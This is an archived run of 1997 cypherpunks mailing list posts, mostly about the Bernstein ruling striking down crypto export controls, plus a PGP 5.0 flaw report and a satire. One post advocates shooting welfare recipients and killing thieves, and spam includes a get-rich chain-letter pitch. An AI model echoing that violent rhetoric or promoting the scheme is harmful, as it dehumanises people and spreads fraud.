> once.  Still, experts are warning never to underestimate the tenacity of
> computer hackers:  "Anyone who says their system is bulletproof is either a
> liar or stupid," says one.  "If I'm wrong," says Crypto-Logic's VP and COO,
> "we're out of business."  http://www.ultimateprivacy.com

I've looked at this, there are two problems:

1. The message is in [A-Za-z0-9!@#$%^&*()] ASCII.  The translation scheme
is undisclosed.
2. The message is, apparently, compressed to some proprietary standard.

So, someone's going to have to hack disassembly to get this message into binary.
Once that's done, we can start bruting it.



-- 
#!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
$/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Tue, 26 Aug 1997 06:12:48 -0700 (PDT)
To: bernstein-announce, gnu
Subject: Bernstein decision is out!
Message-ID: <199708261312.GAA02742@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Judge Patel has made her decision, and it is up on the Web at
http://www.eff.org/.

We're still preparing the legal analysis, but the basic outline is
that she declares the Commerce Dept. export-control scheme
unconstitutional.  She also issued an injunction against the Commerce
Dept. preventing them from enforcing these regulations against
Prof. Bernstein or others who distribute his software.

More details later...

	John Gilmore




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Tue, 26 Aug 1997 06:43:25 -0700 (PDT)
To: cypherpunks@toad.com, gnu
Subject: Bernstein decision
In-Reply-To: <199708261310.GAA02728@toad.com>
Message-ID: <199708261343.GAA03055@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


[There will be many chances to talk to the press today about this.
 Call them up.  Tell them what it means.]

Lucky Green said:
> The ruling provides an interesting data point, but is inconsequential
> to the software industry.

Jonathan Wienke said:
> The decision seems to be a step in the right
> direction, but a VERY small one.

However you slice it, getting a Federal judge to declare both crypto
export control regimes unconstitutional is a major accomplishment.

This court case has done what a decade of lobbying, two decades of
citizen activism, and a decade of crypto software entrepreneurship
were not able to do.  (Though all these things contributed greatly.)
It stopped the export-control machinery in its tracks.

Last December, the State Department stopped issuing crypto export
licenses.  Hugh Daniel had applied for one; it came back marked
"returned without action".  We later found out, by comparing notes
with other export applicants, that this was a general policy; they
didn't want to risk enforcing an unconstitutional law.  They never did
resume.

A few weeks later, the Commerce Department started issuing "EI" export
licenses under new regulations.

Now there's no other department to turn to.  We haven't found a third
law that lets them regulate crypto export or use.  And Judge Patel
mentioned in her decision that "the government cannot avoid the
constitutional deficiencies of its regulations by rotating oversight
of them from department to department".  Though she decided that they
had not deliberately evaded her previous ruling, she's warning them
not to try it.

The next few weeks should be very interesting.  There's a mailing list
for announcements in the case, as appeals are filed, final orders come
out, any hearings are scheduled, etc.  Send mail to
<majordomo@toad.com> containing the line "subscribe bernstein-announce".
These announcements will also automatically go to cypherpunks, but there
are people who don't want the volume but do want to get the news.  Let
them know.

Thanks to all the cypherpunks for your ongoing support and participation
in the case!

	John





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 26 Aug 1997 07:22:55 -0700 (PDT)
To: John Young <jya@pipeline.com>
Subject: Re: Commerce Department encryption rules declared   unconstitutional
In-Reply-To: <1.5.4.32.19970826140833.00860dd0@pop.pipeline.com>
Message-ID: <Pine.GSO.3.95.970826072016.22494B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


This is from memory, and I'm on vacation so I don't have my notes here... 

But didn't Peter originally attempt a facial challenge, but the judge
questioned whether he had standing? Then he changed tactics to follow
Bernstein/Karn more closely and //not// mount a facial challenge... 

-Declan


On Tue, 26 Aug 1997, John Young wrote:

> Declan wrote:
> >I think that's about right. One of the important questions was how broadly
> >Patel would rule, whether her ruling would apply just to Bernstein &
> >associates or whether she would enjoin the government from enforcing
> >ITAR/EAR at all.
> >
> >Unfortunately, she chose the former. But look on the bright side: her
> >narrow decision may be less likely to be reversed, no?
> 
> Does this not shift now to Peter Junger's suit: same issues, broader
> challenge, same opposing arguments? Did Patel rule narrowly in
> Bernstein to set the stage for the broader case in the works?
> 
> BTW, is there a suit being readied to follow Peter's? Karn II? PRZ 6.0?
> 
> What say, Peter, Lee, Cindy, Phil, Phil, Anthony et al?
> 
> 
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 26 Aug 1997 05:39:05 -0700 (PDT)
To: platypus@acmeonline.net
Subject: Re: Socio-Economic Cults (Re: Cypherpunk Cults)
In-Reply-To: <Pine.LNX.3.93.970826175626.2131D-100000@shirley>
Message-ID: <199708261244.HAA11451@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.LNX.3.93.970826175626.2131D-100000@shirley>, on 08/26/97 
   at 05:59 PM, ? the Platypus {aka David Formosa}
<dformosa@st.nepean.uws.edu.au> said:

>-----BEGIN PGP SIGNED MESSAGE-----

>On Mon, 25 Aug 1997, William H. Geiger III wrote:

>> In <Pine.LNX.3.93.970826024015.104C-100000@shirley>, on 08/26/97
>>    at 02:42 AM, ? the Platypus {aka David Formosa}
>> <dformosa@st.nepean.uws.edu.au> said:

>[...]

>> >No I mean what I said,  resurch indercates that welfare is
>> >cheeper then law enforcement and securaty for equile amounts of reduction
>> >in crimes.
>> 
>> Bullshit. The majority on increased crime from the Welfare leaches could
>> be handled with a $200 shotgun and a $0.50 Deer Slug.

>Of cause what a great soltion.

>You stole from me.
>*BANG*

yep


>You raped my sister
>*BANG*

yep

>You smuggeled drugs.
>*BANG*

Nope

>You smuggled crypo.
>*BANG*

Nope

>You have political views that are diffrent to mine
>*BANG*
>*BANG*
>*BANG*

Nope


As is the first two cases the "criminal" has violated my property &
family. Such crimes are worthy of immediate death. You steal, you assault
or threaten me or my family you have committed suicide.

It is a quite simple and effective philosophy: 

"You fuck with me, my family, or my property you die. You leave me alone
and I leave you alone."

Even someone like you can understand such a philosophy.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 26 Aug 1997 05:42:26 -0700 (PDT)
To: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Subject: Re: Netscape Crypto
In-Reply-To: <Pine.SOL.3.91.970826221440.2575A-100000@hardy>
Message-ID: <199708261247.HAA11489@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.SOL.3.91.970826221440.2575A-100000@hardy>, on 08/26/97 
   at 10:16 PM, Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au> said:

>Does anybody know how strong the export netscape crypto stuff is ??

>Is the stuff only 40 bit crypto for export ??

>A friend asked me about the secure credit stuff and if netscape was 
>secure for credit cards ?? 

>So is the export copy secure ?? I presuem the non-export wouldn't be to
>bad.

They are both crap. Never trust a company that will not release their
source code.

BTW those cute little Verisign certs, well Verisign collects the info you
use to fill those out and resells them. Yes this is a company I would
trust. Honest :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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=rbV0
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 26 Aug 1997 05:48:58 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Reuter on Bernstein Ruling
Message-ID: <1.5.4.32.19970826124158.006d5e64@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


http://www.cnn.com, CNN Online, 26 August 1997:

Encryption rules rejected 

Judge says federal regulations barring unlicensed exports unconstitutional 

San Francisco, Aug 25 (Reuter) - U.S. government regulations on the export
of encryption software are unconstitutional, a federal judge ruled on Monday. 

U.S. District Judge Marilyn Hall Patel said licensing requirements
for the export of encryption software and related devices were an
unconstitutional prior restraint on First Amendment free speech rights.

Patel also issued a permanent injunction barring the government
from enforcing the regulations against plaintiff Daniel Bernstein or anyone
who sought to use, discuss or publish his encryption program.

Encryption involves running a readable message though a computer
program that translates the message according to an equation or algorithm
into unreadable "ciphertext."

"By the very terms of the encryption regulations, the most common
expressive activities of scholars -- teaching a class, publishing their
ideas, speaking at conferences, or writing to colleagues over the Internet
-- are subject to a prior restraint by the export controls ...," Patel wrote
in a 32-page ruling released in San Francisco.

Patel said that, having found the regulations to be invalid, she
could have issued a nationwide injunction barring their enforcement. But she
said she had kept the injunction as narrow as possible pending appeal
because "the legal questions at issue are novel, complex and of public
importance."

The ruling is important because the computer industry sees use of
encryption technology across country borders as essential for advancing
electronic commerce and private communications over the Internet.

The government has previously cited national security concerns over
the export of encryption programs.

As a graduate student, Bernstein developed an encryption algorithm
he called "Snuffle." In 1992, Bernstein asked the State Department whether
Snuffle was controlled by export regulations then in force which classified
cryptographic software as "defense articles."

The government told him his program was subject to licensing by the
Department of State prior to export.

Alleging that he was not free to teach, publish or discuss with
other scientists his theories on cryptography embodied in the Snuffle
program, Berstein sued the State Department in 1995, challenging the
regulations on free speech grounds.

Bernstein is now a research assistant professor of mathematics,
statistics and computer science at the University of Illinois at Chicago.

Patel ruled last December that the old regulations limiting the
export of encryption software violated the First Amendment.

But late last year, President Bill Clinton issued an executive
order transfering jurisdiction over the export of nonmilitary encryption
products to the Commerce Department.

Patel's latest ruling was on Bernstein's amended lawsuit which
included the new regulations and new defendants.

Patel said that her finding that encryption source code was speech
protected by the First Amendment did not remove encryption technology from
all government regulation.

Cindy Cohn, a lawyer for Bernstein, called the ruling a "very big
victory" for free speech advocates. "This brings us a step closer to people
being able to freely publish ideas about encryption," she said.

A U.S. Justice Department lawyer who defended the regulations could
not immediately be reached for comment. The government could appeal the ruling.

[End]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Patrick Oonk <patrick@atro.pine.nl>
Date: Mon, 25 Aug 1997 23:45:36 -0700 (PDT)
To: cypherpunks@toad.com
Subject: BoS: Bug bugs privacy file but a fix is on the way (fwd)
Message-ID: <199708260645.IAA23433@atro.pine.nl>
MIME-Version: 1.0
Content-Type: text/plain


Forwarded message:
>From best-of-security-request@cyber.com.au  Tue Aug 26 08:30:09 1997
Resent-Date: Tue, 26 Aug 1997 16:16:35 +1000 (EST)
From: darrenr@melb.convergent.com.au (Darren Reed)
Message-Id: <199708260343.NAA08202@duchess.melb.arcsystems.com.au>
Date: Tue, 26 Aug 1997 13:43:37 +1000 (EST)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: darrenr@cyber.com.au
Old-Status: O
Resent-Message-ID: <"kYO8a.A.IkC.-PmA0"@plum>
X-Loop: best-of-security@cyber.com.au
Errors-To: best-of-security-request@cyber.com.au
Precedence: list
Resent-Sender: best-of-security-request@cyber.com.au
To: best-of-security@cyber.com.au
Resent-From: best-of-security@cyber.com.au
X-OS: FreeBSD3.0-current
X-Mailing-List: <best-of-security@cyber.com.au> ftp://ftp.cyber.com.au/pub/archive/b-o-s/
X-Subscription: To unsubscribe from this fine mailing list mail best-of-security-request@cyber.com.au with Subject: unsubscribe
Subject: BoS: Bug bugs privacy file but a fix is on the way



A "flaw" in the encryption program PGP 5.0 was reported to the Australian
security organisation AusCERT lat week, and a recommended fix was issued
later in the week.
  Security consultant Paul Drake, an expatriate Australian working for a
company called NetSafe, said he had discovered a bug that menat PGP 5.0
(for "Pretty Good Privacy") kept passwords in memory "at all times", as
well as part of the text of whatever had been encrypted.  The keyfile was
also being kept in a relatively insecure file, he said.
  AusCERT confirmed the problem had been reported and said they were
investigating.
  PGP advocate peter Moon, who is pushing for wider use of the software
in Australia, said while the problems pointed out by Drake were "valid",
they were more weak points than "bugs".
  "The PGP encrpytion algorithm is - as anyone knows - as solid as a rock.
The attacks are all based on the principal that if you want to break into
the strongest box in the world, the easiest way is to pinch thekey."
  He said a product called bcwipe could clear the saved information and the
keyfile should probably be deleted altogether.
  Drake said PGP, a United States-based company, would release "PGP 5.01"
without the problem.

-- Jenny Sinclair, Page D4, The Age, Tuesday 26 August 1997




-- 
| Patrick Oonk -    http://patrick.mypage.org/  - patrick@pine.nl |
| PGP Key ID 0xDA2E93FA   -   Internic PO59   -   <clicketyclick> |
| Pine Internet B.V.           Consultancy, installatie en beheer |
| Tel: +31-70-3111010 - Fax: +31-70-3111011 - http://www.pine.nl/ |




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike <Michael.Johnson@mejl.com>
Date: Tue, 26 Aug 1997 00:18:43 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Dial in authentication
Message-ID: <3.0.3.32.19970826091500.00984310@localhost>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


What products could be used for dial in authentication? I am interested
in something like a piece of hardware that shows one time passwords and
allows users of Win95/NT4 to dial in to an NT/Unix network and use
NetBIOS/TCP file servers.

Can anybody recommend something is this area? Is it possible to export
strong authentication products from the US, or is it necessary to
purchase the hardware from abroad to allow international users to dial
in?

Mike
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNAKQRsUc8bdD9cnfEQIETACgy1W5aJLOfnHKnnmPeE2HQf925QgAn1bS
s6nH12HKSBmwtVRvV0MyhdLC
=f9eC
-----END PGP SIGNATURE-----


Mike.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 68525898@aol.com
Date: Tue, 26 Aug 1997 06:25:34 -0700 (PDT)
To: Friend@public.com
Subject: Are You A Great Lover?
Message-ID: <515329648628.gfd78551@blk106.com>
MIME-Version: 1.0
Content-Type: text/plain




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Robert Irwin
Executive Director
Sexual Performance Institute



                             






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Tue, 26 Aug 1997 06:28:16 -0700 (PDT)
To: Jonathan Wienke <JonWienk@ix.netcom.com>
Subject: Re: Commerce Department encryption rules declared  unconstitutional
In-Reply-To: <3.0.3.32.19970825235313.006d8f0c@popd.netcruiser>
Message-ID: <Pine.GSO.3.95.970826092110.18273B-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


I think that's about right. One of the important questions was how broadly
Patel would rule, whether her ruling would apply just to Bernstein &
associates or whether she would enjoin the government from enforcing
ITAR/EAR at all.

Unfortunately, she chose the former. But look on the bright side: her
narrow decision may be less likely to be reversed, no?

-Declan


On Mon, 25 Aug 1997, Jonathan Wienke wrote:
> >Patel barred the government from "threatening, detaining,
> >prosecuting, discouraging, or otherwise interfering with" anyone
> >"who uses, discusses, or publishes or seeks to use, discuss or
> >publish plaintiff's encryption programs and related materials."
> >Daniel Bernstein, now a math professor at the University of
> >Illinois, filed the lawsuit with the help of the Electronic
> >Frontier Foundation.
> 
> So if someone posts a few lines of source code to coderpunks, the
> government reserves the right to prosecute, unless the poster's name is
> Daniel Bernstein, and the algorithm is Snuffle 5.0.  The judge seems to be
> saying "I think Bernstein's case has merit, so I will order the government
> to stop hassling him, but since I am too chickenbleep to challenge the
> unconstitutional usurpation of power on the part of Clinton, Congress, the
> State Dept., and the Dept. of Commerce, I will pass the buck and let the
> issue be decided on appeal."  The decision seems to be a step in the right
> direction, but a VERY small one.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Tue, 26 Aug 1997 06:49:35 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: lack of evolution (So What!)
Message-ID: <199708261349.GAA03140@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Feanor <feanor@nym.alias.net> writes:
> On Aug 25, 21:41, Ray Arachelian wrote:
> } Subject: Re: lack of evolution (So What!)
> > 
> > On Mon, 25 Aug 1997, Peter Trei wrote:
> > 
> > > One factor which everyone seems to be overlooking in this
> > > thread is the future impact of biotechnology.
> > 
> > <much stuff deleted>
> > 
> > I see someone's been recently reading Beyond This Horizon by Heinlein. :)
> 
> Sounded a lot more like Sterling/Crystal Express, the Shaper/Mechanist section,
> to me.

Actually, Vernor Vinge is a much bigger influence.

Peter Trei
trei@process.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Patrick Oonk <patrick@atro.pine.nl>
Date: Tue, 26 Aug 1997 00:58:48 -0700 (PDT)
To: cypherpunks@toad.com
Subject: BoS: Bug bugs privacy file but a fix is on the way (fwd)
Message-ID: <199708260758.JAA23988@atro.pine.nl>
MIME-Version: 1.0
Content-Type: text/plain


Forwarded message:
>From best-of-security-request@cyber.com.au  Tue Aug 26 08:30:06 1997
Resent-Date: Tue, 26 Aug 1997 16:16:35 +1000 (EST)
From: darrenr@melb.convergent.com.au (Darren Reed)
Message-Id: <199708260343.NAA08202@duchess.melb.arcsystems.com.au>
Date: Tue, 26 Aug 1997 13:43:37 +1000 (EST)
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X-Subscription: To unsubscribe from this fine mailing list mail best-of-security-request@cyber.com.au with Subject: unsubscribe
Subject: BoS: Bug bugs privacy file but a fix is on the way



A "flaw" in the encryption program PGP 5.0 was reported to the Australian
security organisation AusCERT lat week, and a recommended fix was issued
later in the week.
  Security consultant Paul Drake, an expatriate Australian working for a
company called NetSafe, said he had discovered a bug that menat PGP 5.0
(for "Pretty Good Privacy") kept passwords in memory "at all times", as
well as part of the text of whatever had been encrypted.  The keyfile was
also being kept in a relatively insecure file, he said.
  AusCERT confirmed the problem had been reported and said they were
investigating.
  PGP advocate peter Moon, who is pushing for wider use of the software
in Australia, said while the problems pointed out by Drake were "valid",
they were more weak points than "bugs".
  "The PGP encrpytion algorithm is - as anyone knows - as solid as a rock.
The attacks are all based on the principal that if you want to break into
the strongest box in the world, the easiest way is to pinch thekey."
  He said a product called bcwipe could clear the saved information and the
keyfile should probably be deleted altogether.
  Drake said PGP, a United States-based company, would release "PGP 5.01"
without the problem.

-- Jenny Sinclair, Page D4, The Age, Tuesday 26 August 1997




-- 
| Patrick Oonk -    http://patrick.mypage.org/  - patrick@pine.nl |
| PGP Key ID 0xDA2E93FA   -   Internic PO59   -   <clicketyclick> |
| Pine Internet B.V.           Consultancy, installatie en beheer |
| Tel: +31-70-3111010 - Fax: +31-70-3111011 - http://www.pine.nl/ |




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 26 Aug 1997 07:15:17 -0700 (PDT)
To: declan@well.com
Subject: Re: Commerce Department encryption rules declared  unconstitutional
Message-ID: <1.5.4.32.19970826140833.00860dd0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan wrote:
>I think that's about right. One of the important questions was how broadly
>Patel would rule, whether her ruling would apply just to Bernstein &
>associates or whether she would enjoin the government from enforcing
>ITAR/EAR at all.
>
>Unfortunately, she chose the former. But look on the bright side: her
>narrow decision may be less likely to be reversed, no?

Does this not shift now to Peter Junger's suit: same issues, broader
challenge, same opposing arguments? Did Patel rule narrowly in
Bernstein to set the stage for the broader case in the works?

BTW, is there a suit being readied to follow Peter's? Karn II? PRZ 6.0?

What say, Peter, Lee, Cindy, Phil, Phil, Anthony et al?








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Tue, 26 Aug 1997 10:37:38 -0700 (PDT)
To: bernstein-announce
Subject: Crypto Export Restrictions are Unconstitutional
Message-ID: <199708261734.KAA06596@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


	  CRYPTO EXPORT RESTRICTIONS ARE UNCONSTITUTIONAL
	Professor Bernstein is free to publish his software

San Francisco, August 26, 1997 - The Federal District Court here
struck down Commerce Department export restrictions on the privacy
technology called encryption yesterday, concluding that "the
encryption regulations are an unconstitutional prior restraint in
violation of the First Amendment."  For the first time, Judge Marilyn
Hall Patel ordered the government not to prosecute or harass the
plaintiff, Professor Daniel Bernstein, and those who use or publish
his encryption software.  The decision knocks out a major part of the
Clinton Administration's effort to force companies to design
government surveillance into computers, telephones, and consumer
electronics.

"This is wonderful news," said Prof. Bernstein.  "I hope I can get
some of my ideas published before they change the law again."

The decision is a victory for free speech, academic freedom, human
rights, and the prevention of crime.  American scientists and
engineers will now be free to collaborate with others in the United
States and in foreign countries.  This will enable them to build a new
generation of tools for protecting the privacy and security of our
communications.

"Once again, it took a federal court to sort out technology and the
Constitution," said Lori Fena, Executive Director of the Electronic
Frontier Foundation, which backed the suit.  "Let this decision signal
the other two branches of government that when making laws pertaining
to the Internet, they must honor their oaths to uphold the
Constitution."

The decision is strategic because the Clinton Administration has been
using the export restrictions to influence domestic privacy policy.
Companies that agree to build "key recovery" technology into their
products are exempt from most of the restrictions.  Key recovery, a
follow-on to the Clipper Chip, is designed to give the government
untraceable access to users' private information.

The Federal District Court of the Northern District of California
last December struck down the ITAR, a set of encryption restrictions
enforced by the State Department.  A few weeks later, the Government
created virtually identical restrictions in the Commerce Department's
Bureau of Export Administration (BXA).  Yesterday's decision
invalidates the new restrictions, stating, "the encryption regulations
issued by the BXA appear to be even less friendly to speech interests
than the ITAR."  She warns that "the government cannot avoid the
constitutional deficiencies of its regulations by rotating oversight
of them from department to department," though concluding that she
"does not believe that such was the intent here."

"Our right to create, use, and deploy encryption come from our basic
civil rights of free speech, freedom of the press, freedom from
arbitrary search, due process of law, and privacy.  Judge Patel has
affirmed those roots in the First Amendment," philosophizes John
Gilmore, Electronic Frontier Foundation co-founder.  "Our Founding
Fathers used encryption -- and even invented some -- and did not
intend any ``crypto exceptions'' to the Bill of Rights."

DETAILS OF MONDAY'S DECISION

In the heart of the ruling, "The court declares that the Export
Administration Regulations . . . insofar as they apply to or require
licensing for encryption and decryption software and related devices
and technology, are in violation of the First Amendment on the grounds
of prior restraint and are, therefore, unconstitutional as discussed
above, and shall not be applied to plaintiff's publishing of such
items, including scientific papers, algorithms or computer programs."

The Court also held that the government's licensing procedure fails
to provide adequate procedural safeguards.  When the Government acts
legally to suppress protected speech, it must reduce the chance of
illegal censorship by the bureacrats involved, for example by making
the government go to a judge to decide the issue.  The EAR does not
require this; in fact, it precludes it.  "And most important, and most
lacking, are any standards for deciding an application.  The EAR
reviews applications for licenses ``on a case-by-case basis'' and
appears to impose no limits on agency discretion."

The Court dissected the export controls' exemption for printed
materials at length, calling it "so irrational and administratively
unreliable that it may well serve to only exacerbate the potential for
self-censorship."  The government's "distinction between paper and
electronic publication . . . makes little or no sense and is untenable."

The Court not only declared that these regulations are invalid and
unenforceable, but also prevented the Government from "threatening,
detaining, prosecuting, discouraging, or otherwise interfering with
plaintiff or any other person described . . . above in the exercise of
their federal constitutional rights as declared in this order."

The immediate effect of this decision is that Prof. Bernstein may
publish his encryption software, and that others may read, use,
publish and review it.  In addition, others in industry are studying
the court's analysis, and might decide to publish their own software
on the Internet as well.

Pretty Good Privacy, Inc, is one such company, which believes that
future courts will find Judge Patel's reasoning persuasive.  "We are
particularly pleased the court has reconfirmed that computer programs,
like other literary works, are accorded full protection under the
First Amendment," said Bob Kohn, vice president and general counsel
for Pretty Good Privacy.

The final form of the judgment will be negotiated between the parties,
and presented to the court within a week.  The government could either
seek an emergency appeal of the injunction, or take up to 60 days from
the entry of judgment to appeal.

ABOUT THE ATTORNEYS

Lead counsel on the case is Cindy Cohn of the San Mateo law firm of
McGlashan & Sarrail, who is offering her services pro bono.  Major
additional legal assistance is being provided by Shari Steele of the
Electronic Frontier Foundation; Lee Tien of Berkeley; James Wheaton
and Elizabeth Pritzker of the First Amendment Project in Oakland; and
Robert Corn-Revere of the Washington, DC, law firm of Hogan & Hartson.


ABOUT THE ELECTRONIC FRONTIER FOUNDATION

The Electronic Frontier Foundation (EFF) is a nonprofit civil
liberties organization working in the public interest to protect
privacy, free expression, and access to online resources and
information.  EFF is a primary sponsor of the Bernstein case.  EFF
helped to find Bernstein pro bono counsel, is a member of the
Bernstein legal team, and helped to collect members of the academic
community and computer industry to support this case.

Full text of the lawsuit and other paperwork filed in the case is
available from EFF's online archives at:
        http://www.eff.org/pub/Privacy/ITAR_export/Bernstein_case/

Scanned images of Monday's decision are available at:
        http://www.eff.org/pub/Privacy/ITAR_export/Bernstein_case/
	      Legal/970825_decision.images/

The full text of Monday's decision will soon be available at:
        http://www.eff.org/pub/Privacy/ITAR_export/Bernstein_case/
	      Legal/970825.decision

Professor Daniel Bernstein will be building his new Constitutionally-
protected cryptography web page at:
	http://pobox.com/~djb/crypto.html

Electronic Frontier Foundation Contacts:

	Shari Steele, Staff Attorney
	301/375-8856, ssteele@eff.org

	John Gilmore, Founding Board Member
	541/354-6541, gnu@toad.com

	Cindy Cohn, McGlashan & Sarrail
	415/341-2585, cindy@mcglashan.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Tue, 26 Aug 1997 07:11:10 -0700 (PDT)
To: cypherpunks@toad.com
Subject: There's something wrong when...Shitty Laws!
Message-ID: <+u6M/NucrBPL5LOmnZJmew==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain


  I think I first realized just how much Tim May's .sig lines are a
genuine harbinger of the future when I arrived at www.compost.org to
find that there are "Compost Standards in Canada," as explained by
The Composting Council of Canada.

  In short, if I wanted to stack some turds on top of each other, then
I had to keep in mind that:
"In Canada, three organizations are responsible for the development of 
standards and regulations for compost and composting: Agriculture and 
Agri-Food Canada (AAFC), the provincial and territorial governments, 
and the Standards Council of Canada (SCC) (through the Bureau de 
normalisation du Québec (BNQ)). This collective responsibility reflects 
government regulatory requirements (of both the AAFC and the provinces 
and territories) as well as voluntary industry initiatives (BNQ)."
 { The word "voluntary" was in _bold_ print! (Mandatory-Voluntary?) }

When I first got the urge to phone these people up and scream, "YOU'RE
TALKING ABOUT _SHIT_, FOR SHIT'S SAKE!"	was when I read that,
"All compost that is sold in Canada must comply with the requirements 
of the Fertilizers Act. This includes provisions for product safety, 
benefit claims and labeling."

  Product safety? (Turds are dangerous? You can 'slip' on them?)
  Benefit claims? (You mean turds _don't_ cure cancer?)
  Labeling? (It's SHIT! It's hard to fool people about that.)

  I found out I could avoid fines and imprisonment by reading, 
"...a National Standard of Canada entitled: 'Organic Soil Conditioners -
Composts (BNQ); Guidelines for Compost Quality (CCME); and future 
amendments to the Fertilizers Act and Regulations (AAFC).'"

  "Future amendments?"
  I had to worry about past turds coming back to haunt me, if the laws
should change in the future?

  I was consoled by the fact that these requirements were in the best
interests of the different organizations involved, and to ensure that
all of the turds in Canada are "consistent."
"These provide for a significant level of national consistency by 
containing virtually identical technical requirements while ensuring 
that the mandates and interests of the different organizations are
realized."

  My consolation was short-lived, however, as I soon found out that if
I didn't understand the proper turd linguistics involved, I could still
be in big trouble:
"Definition of Compost"
"'Composting' and 'compost' are two distinct terms. The former refers 
to the bio-oxidation process and the latter refers to the resulting 
product: stabilized organic matter."
"As agreed upon by the CCME, BNQ and AAFC, compost is:
     'A solid mature product resulting from composting, which is a 
      managed process of bio-oxidation of a solid heterogeneous organic 
      substrate including a thermophilic phase.'"

  Then, of course, to remain free from fine and imprisonment, I had to 
be aware of the:
Classification of Compost
  according to:
BNQ Standards
CCME Guidelines
AAFC Regulations

  As well as keeping in mind:
"The Four Criteria: Maturity, Foreign Matter, Trace Elements and 
Pathogens"
  
  Maturity? (You can 'molest' a turd? I could be a 'turdophile'?)
  Foreign Matter? (Hey! There's a turd in your turd!)
  Trace Elements? (I have to give the turds multi-vitamins if they
                   don't measure up?)
  Pathogens? (They mention checking for "sharp objects" in it. If it
              is a 'long' sharp object, is it illegal to carry the turd
              in California?)

  After memorizing the Fertilizer Act and all other regulations and
legislation involved, I piled some turds in my yard, next to the
garden.
  It was a week later, when I began to follow the instructions to
turn it over and mix it up that I was arrested for "being involved
in 'bad shit'."
The worst part is that because I was turning it over and stirring it
when arrested, I will get an "extra five years" for "use of encryption
in the commision of a composting crime."

ShitMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: helledge@oilfieldtrash.com
Date: Tue, 26 Aug 1997 11:49:38 -0700 (PDT)
To: helledge@oilfieldtrash.com
Subject: Quick Money
Message-ID: <199708261853.OAA17317@rapidconnect.com>
MIME-Version: 1.0
Content-Type: text/plain


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>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>


 
THIS IS THE FAST ONE WHILE YOU'RE WAITING FOR THE 
OTHERS TO WORK.  YOU CAN HAVE $7,000 IN TWO WEEKS 
WITH ONLY $5 TOTAL COST, AND ONE HOUR OF YOUR TIME.
 
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understand this fast program I am sharing with you.
 
No, it is NOT what you think.
 
YOU DO NOT have to send $5.00 to five people 
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Complete it in ONE HOUR and you will never forget 
the day you first received it.  If you are doing 
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The more the merrier. But, PLEASE READ ON!
 
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Just in time to pay next months bills!
 
TRUE STORY
 
Cindy Allen tells how she ran this program four 
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the next three times. When this MLM is continued as
it should be, EVERYONE PROFITS!!!  Don't be afraid
